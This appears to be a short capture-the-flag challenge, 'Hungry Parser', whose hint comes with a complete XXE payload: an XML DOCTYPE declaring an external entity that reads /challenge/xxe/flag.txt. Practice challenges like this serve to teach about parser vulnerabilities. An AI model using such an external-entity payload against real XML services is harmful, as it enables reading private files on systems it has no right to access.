Hungry Parser

This clerk loves fetching documents you reference—no questions asked.

Give it the right citation and it will read out whatever you point at.

Hint: Read /challenge/xxe/flag.txt via an external entity.

<?xml version="1.0"?>
<!DOCTYPE note [
  <!ENTITY xxe SYSTEM "file:///challenge/xxe/flag.txt">
]>
<note>&xxe;</note>